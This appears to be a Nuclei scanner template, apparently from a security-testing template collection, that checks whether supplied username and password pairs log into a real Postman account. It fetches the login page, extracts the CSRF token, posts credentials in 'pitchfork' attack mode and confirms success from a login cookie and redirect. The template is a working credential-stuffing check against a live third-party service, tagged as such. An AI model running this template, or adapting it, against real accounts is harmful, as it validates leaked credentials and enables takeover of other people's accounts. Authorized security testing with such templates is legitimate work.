id: postman-login-check

info:
  name: Postman Login Check
  author: parthmalhotra,pdresearch
  severity: critical
  description: Checks for a valid postman account.
  reference:
    - https://owasp.org/www-community/attacks/Credential_stuffing
  metadata:
    max-request: 2
  tags: cloud,creds-stuffing,login-check,postman,vuln

self-contained: true

http:
  - raw:
      - |
        GET https://identity.getpostman.com/login HTTP/1.1
        Host: identity.getpostman.com
        Referer: https://identity.getpostman.com/accounts
      - |
        POST https://identity.getpostman.com/login HTTP/1.1
        Host: identity.getpostman.com
        Content-Type: application/json;charset=UTF-8
        X-Csrf-Token: {{csrfToken}}
        Origin: https://identity.getpostman.com
        Referer: https://identity.getpostman.com/login

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork

    extractors:
      - type: xpath
        name: csrfToken
        part: body
        attribute: value
        internal: true
        xpath:
          - /html/body/div/div/div[1]/form/input

      - type: dsl
        dsl:
          - username
          - password
    matchers:
      - type: dsl
        dsl:
          - "contains(to_lower(header), 'set-cookie: getpostmanlogin=yes')"
          - "contains(to_lower(body), 'identity.postman.co/continue')"
          - "status_code==200"
        condition: and
# digest: 490a004630440220691ace07791fce89c3448fcd1aba6fe68bbbbfa5611951514e71b8a08f96daa802200b5c9e06cc1a3653d566a8733a167e60e7f134ec44714b08f03c9fa51fc16ac6:922c64590222798bb761d5b6d8e72950